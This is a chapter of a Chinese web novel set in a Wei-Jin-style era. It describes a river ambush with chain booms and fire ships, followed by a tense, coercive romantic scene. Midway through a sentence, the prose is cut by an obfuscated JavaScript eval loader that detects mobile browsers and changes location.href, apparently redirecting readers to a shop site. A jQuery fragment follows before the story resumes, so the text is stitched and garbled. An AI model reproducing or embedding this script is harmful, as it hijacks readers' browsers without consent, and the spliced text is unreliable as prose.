53.第五十二章 火烧荆江

作品:《【魏晋】中郎将的修罗场

    秋末,汛期将尽。


    清晨,三十条司马氏的艑船在龙船河口乍现即隐,见荆州水师旗号,似惊弓之鸟般缩回河道内侧,却并未远遁,而是在河口弯道处徘徊集结。


    夷陵大营,都督窦豫的帅帐内灯火彻夜。


    “司马氏畏我兵威,竟欲借龙船河汛期水势,孤注一掷硬闯长江。这哪里是突围,分明是自寻死路!”部将手持斥候急报与桓氏书信,声调激昂。


    窦豫坐于主位,目光看向舆图上龙船河狭窄的水道。他生性多疑,不信世上有如此轻易之功。五万大军尽数通过龙船河?此中必有诡诈。


    正当诸将请战之声鼎沸,新军报又至。


    “报——都督!兵书峡以西上游江面现杂船百五十艘,兵士甲胄不整,旗号杂乱,疑为司马氏强征民船!桓氏水师声称已前出布防,正与其对峙。”


    帐内气氛愈加热切,唯窦豫眼神愈冷。


    一切过于顺理成章。桓渊与司马氏究竟意欲何为?


    窦豫决意将计就计。


    桓氏使者再度进言:“我家公子已依约前出西陵峡上游,为都督屏护西面后方。恳请都督亲率主力尽入兵书峡以巨舰封死南岸龙船河口,则擒杀司马复之首功非都督莫属。”


    “回去告诉你家公子,他的美意,我心领了。”


    窦豫截断使者,“但我自有方略。传令!”


    窦豫没有采用桓渊之策,而是分兵三路:亲率八十楼船斗舰坐镇兵书峡东口外下游的开阔江面;遣五十艨蟟为前锋,逆流西进,入兵书峡扼守龙船河口,准备截击冲出的敌船;另派三十走舸为奇兵,驱散河口装腔作势的敌船,强行突入支流深处,亲验司马氏五万主力的虚实。


    此乃试探,亦为反制。他要亲手撕开重重迷雾。


    西陵峡北岸,兵书峡段临江峭壁之上。


    桓渊手按刀柄,玄色大氅在江风中翻飞。他俯瞰着下方荆州水师的动向,眉峰微蹙。王女青立于身侧,道袍素净,目光越过峡口,投向龙船河方向。


    “并非当初议定的沙船。”王女青收回目光。


    “整齐便是破绽。”桓渊淡淡道,“要骗过窦豫这只老狐狸,戏要做全。若是沙船列队,那是阅兵,不是逃难。”


    他嘴角噙着一丝嘲弄,不知是在笑窦豫,还是在笑别的,“唯有这些烂船,才配得上‘落荒而逃’四个字。青青,水上的事,变数在毫厘之间。”


    王女青颔首,“阿渊心细,是我疏漏了。”


    话音未落,身着桓氏私兵玄甲的副将陈肃匆匆登上高台,带来的消息打断了二人的交谈。


    “他未全入。”陈肃低声急报,“还分兵去了龙船河!”


    高台气氛骤然一紧。窦豫的应对超出了所有推演。


    “他要验明诱饵真伪,以前锋为饵诱我出手,主力在下游峡口外伺机而动。”桓渊声线依旧沉稳,瞬间剖解敌意,“一旦我们攻击其前锋,主力便可从容退走。我们若不动,他的奇兵很快便会窥破龙船河虚实。”


    此局近乎死结。他亲手布下的杀阵,此刻竟缚住了自己的手脚。


    “传令,”桓渊做出决断,“东口下游水底铁索不动,弩阵发射,务必营造死守河口之势!”


    “公子?”副将陈肃微怔。


    “只有让他觉得我们在拼死掩护,他才会动用主力来硬啃这块骨头。”桓渊目光冷硬,“再传讯韩宁,不惜代价,将窦豫那支奇兵拖死在龙船河内!要在支流狭窄处造出大军拥堵急于突围的假象。战况必须惨烈,要让窦豫深信不疑!”


    号令通过旗语与快马疾传下去。


    桓渊转身看向王女青。


    江风拂动她鬓边散发,但她的目光却已不在江面,而是凝于南方层叠的群山,那是陆路大军必经的崇山峻岭。一闪而过的忧思如云影掠过静水,虽然极轻,却没能逃过桓渊的眼睛。她在想谁,不言而喻。


    桓渊眼神骤然一沉。


    他解下玄色大氅,上前一步。高大健硕的身躯带着压迫感。


    王女青未退,静立原地。


    桓渊将沉重的大氅披上她的肩,手未离开,顺势滑下,虎口轻扣她的下颌,拇指擦过她的唇角,继而为她拢紧衣襟。


    “江风凉,”他发出侵略性的提醒,“不要分神。”


    王女青抬眼,迎上他近在咫尺的目光。


    她任由他整理好大氅,随即抬手,以自己的方式将系带重新束妥。


    “阿渊有心了。不过,我从未分神。”


    南岸群山,司马复正率三万五千陆路主力在桓氏部曲向导引领下于山间行军。他不在诱饵船队,而在决定东归成败的陆路军中,只因此处才是命脉所在。


    斥候自山下奔来,“郎君!窦豫分兵,一支舰队已入龙船河,与韩公子接战!”


    司马复驻足高地,望向江面方向。


    “传令韩宁依计行事,不计伤亡,务必令窦豫确信,我有数万之众拥塞河道,正欲冲开缺口夺路入江。”


    兵书峡内,窦豫的前锋舰队抵达河口。


    北岸高处的三张床弩率先怒吼,八尺弩箭带着恐怖的初速,轨迹平直,瞬间洞穿一艘前锋斗舰的舵楼。紧接着,两岸峭壁之上,数十处弩阵依次发动,数百支重型弩箭如死亡骤雨自上而下,覆盖了整片江域。


    坐镇峡口的窦豫通过旗语知悉前锋遇阻。几乎同时,沿岸驿骑拼死送回急报,他派出的奇兵于龙船河深处遭遇司马氏船队疯狂抵抗,敌船顺流势头太猛,前锋虽受阻,后军仍借水势源源不断涌来,密密麻麻挤在狭窄河道中,正疯狂冲击河口,试图不惜一切代价冲入长江干流!


    两条情报汇合,击碎了窦豫的疑虑。龙船河内的死战证明那里确有大军;兵书峡内疯狂的弩箭阻击则表明,桓渊正依托地形试图为司马氏守住唯一的出口。


    “桓渊小儿,这就你的屏护!”窦豫怒极反笑,一掌重重拍在栏杆上,震得木屑纷飞,“原来所谓合兵是假,你与司马氏狼狈为奸是真!乱臣贼子!你想借地利死守隘口拖延时间,放司马氏逃出生天?做梦!”


    紧接着,斥候又补上了一条致命军情:“报——!发现司马氏帅旗!疑因河道狭窄,司马氏主帅换乘蒙冲,正混在杂船中试图冲入长江逃窜!”


    “弃了大舰换小船?他是真急了。”窦豫眼中精光暴涨。司马复此刻没了楼船护卫,正是防御最薄弱之时,若让他混入长江顺流而下,便是放虎归山。他眼中闪过厉色,“艨蟟轻舟挡不住数万大军的冲击,必须以重舰列阵封堵。”


    窦豫拔剑直指兵书峡,“全军突击!八十艘楼船斗舰尽数西进入峡!给我把河口江面彻底填死!便是把江水截断,也要把司马复给我捞出来!”


    为了不让大鱼漏网,荆州水师主力再无保留,全部冲入兵书峡这段死亡水域。


    这片水域,宽度不足一百五十丈,且被弩阵锁死。


    北岸峭壁箭台上,桓渊右手重重挥落。


    “起锁!”


    随着令旗挥动,兵书峡东口两岸峭壁后传来机括崩断声,紧接着是重物坠地的闷雷巨响。那是悬空的万斤坠石轰然砸落!


    “崩——!”


    巨大的拉力瞬间传导,沉寂江底的十二条熟铁索带着恐怖的啸音瞬间破水弹起!水花尚未落下,铁索已绷得笔直,将荆州水师顺流撤退的生路死死截断。


    “弩阵,放!”


    两岸高处床弩再度齐声怒吼,沉重的弩箭扫过被困的荆州船阵。


    几乎在同一时刻,西面上游的黑暗中亮起数十点猩红。


    “放火船!”


    那正是桓渊为窦豫准备的“屏护”。数十艘火船借着秋日劲急的西北风与湍急的东去水流奔涌而下,速度快得惊人,一头撞入因调整阵型封锁河口而侧面对敌拥挤不堪的荆州船阵。船首铁锥楔入敌舰龙骨,顷刻间,浸油的柴草轰然爆燃,黑红烈焰冲天而起,浓烟随之而起,迅速笼罩江面,呛人的焦臭与哀嚎充斥峡谷。


    “中计!”


    窦豫立于燃烧的旗舰上,回望东面下游升起的拦江铁索,再看西面上游冲来的火海,以及南面被拥堵的龙船河,瞬间明白自己已入绝境。


    西北风助长火势,顺流而下的火船如附骨之疽,荆州战舰庞大笨重,在狭窄且被截断退路的峡谷中根本无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870435|190727||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    法掉头规避。


    但他眼中惊骇仅存一瞬便化为疯狂。


    他注意到北岸弩阵下方有一片陡峭碎石坡直通江面。南岸是绝地,东面被锁,西面火攻,唯有攻上北岸桓渊的指挥所方有一线生机。


    “传令!前军以挠钩拍杆推开火船,清理航道!旗舰转向,靠向北岸乱石滩!掩护登壁士,强攻北岸碎石坡!夺不下弩阵,我等皆要葬身火海!”


    登壁士是窦豫麾下最擅山地水岸攻坚的精锐。他们的任务是强行登陆,利用挠钩与绳索攀援而上,捣毁弩阵,斩首桓渊。


    “敌军强登北岸!”桓氏哨兵嘶声示警。


    弩阵之上警钟大作。弩手非战卒,面对悍不畏死的精锐露出惧色。


    桓渊神色未动,只对副将陈肃下令,“守住径口。”


    他静立原处,目光锁死江面战局。


    十余桓氏玄甲锐卒得令,组成铁壁,扼守上山最窄隘口。箭矢滚石自高处不断落下,阻滞了登壁士的后续攻势。


    下方江面,火势随西北风蔓延,荆州水师旗舰亦被引燃。


    窦豫望着峭壁山径上的惨烈搏杀,眼中已无胜机。


    随着最后一名试图冲破封锁的登壁士被陈素一戟贯穿掷落悬崖,山径上的主要战斗结束。桓渊立于高台边缘,目光仍锁着江面火海。


    就在此时,他身后阴影中,一名先前借岩缝死角攀上后潜伏的登壁士头目骤然暴起!


    他浑身浴血,嘶吼着扑来,环首刀借下冲之势,猛劈桓渊后颈。


    这一击悄无声息,快如闪电。


    桓渊却似背后生眼。他不闪不避,骤然拧身,腰间长刀随之锵然出鞘,自下而上斜掠而起,以更凶戾的姿态后发先至。


    刀光过处,那登壁士头目的嘶吼戛然而止,环首刀僵在半空。一道血痕自其喉间延伸,随即猛地裂开。尸身重重扑倒在地,鲜血迅速在石台上漫开,头颅顺着倾斜的台面滚落,坠入下方深渊。


    从暴起到终结,不过一息。


    一如他曾于江州的昭阳舞祭台,震开八支长矛。


    桓渊收刀还鞘,刀锷撞击鞘口,发出清脆的冷响。


    江上火光映照在他棱角分明的侧脸上,半明半暗。一滴温热的液体顺着他紧绷的下颌滑落,滴在石台上,不知是汗,还是刺客的血。


    他未再看江上火海,目光穿过跃动的火焰与弥漫的硝烟,落于高台边缘的王女青身上,而后,迈步走向她。


    他走得很慢,脚步沉重,靴底碾过碎石,每一步都踏在无形的鼓点上。


    周遭将士的嘶吼、木材的断裂、火焰的咆哮,都沦为暗哑背景。


    王女青披着他的玄色大氅。大氅宽大,衬得她身形单薄。


    她静立原处,看他带着一身令人窒息的硝烟与血气走近。


    桓渊未在她面前停下,高大健硕的身形迫得她不得不后退。


    一步,又一步。


    直至她后背抵上高台后方冰冷粗粝的崖壁,退无可退。


    他将她困在山壁之间。


    染血的手抬起,拇指压上她颈侧微凉的细腻肌肤。


    他居高临下,垂眼,如猛兽审视刚捕获的猎物。


    “阿渊,你已能翱翔于天。”王女青在夜风中开口。


    但桓渊不仅没有任何触动,反而进一步压迫,按在她颈侧的手指强硬往上推,粗粝的指腹停在她的唇边,带着未干的血气。他什么也没说,只是盯着她的嘴唇,目光炽热凶狠,似乎在极力克制,又似下一刻便要连皮带骨地噬咬下去。


    “这些人,”王女青没有躲避,声音轻缓,“他们也曾追随陛下,是我大梁的好儿郎。我们烧的,是陛下的荆州水师。”


    闻此,过了半晌,桓渊眼中的红丝渐渐褪去,复归深邃,只是一股戾气始终不散。他在她唇边的手指劲道松了,却没有撤离。


    突然间,他长臂一伸,蛮横无比地揽住她的腰肢,将她从冰冷的崖壁前扯了过来,死死按进自己坚硬的胸膛里。


    这是一个毫无温情,尽属于掠夺与宣告的占领。


    “我今日做任何事,你都会忍着。你便忍着罢。”